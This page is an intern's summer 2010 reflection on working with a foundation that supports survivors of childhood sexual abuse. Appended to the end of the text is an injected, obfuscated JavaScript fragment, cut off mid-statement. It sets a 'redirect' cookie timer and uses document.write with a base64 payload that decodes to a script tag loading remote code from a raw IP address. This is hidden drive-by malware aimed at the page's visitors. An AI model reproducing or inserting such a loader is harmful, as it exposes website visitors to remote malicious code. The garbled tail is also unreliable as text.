Pooja, Summer 2010

The internship at Let Go Let Peace Come In Foundation has opened up my eyes to the issue of childhood sexual abuse. I joined the internship in the hopes of being able to witness and understand the negatively influential effects childhood sexual abuse can have on an individual. Through the internship I have been able to talk to, chat with, and reach out to survivors all over the world including Pakistan, Australia, and Africa to name a few. My main task was to find ways of reaching out to survivors and supportive organizations to join the foundation’s mission and help expand our voice through the website. While researching, it came as a shock to me to uncover just how prevalent childhood sexual abuse is worldwide. There are and have been so many people affected by CSA; Presidents, actors, musicians, authors, and so many more. All these people and many more need the proper counseling and healing services to allow them to accept their trauma and be able to move past it. I am very proud to have worked with an organization as LGLPCI where survivors can begin their healing process by telling their story, and find the appropriate support needed to let go of their tragedy and let the peace finally come into their lives. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
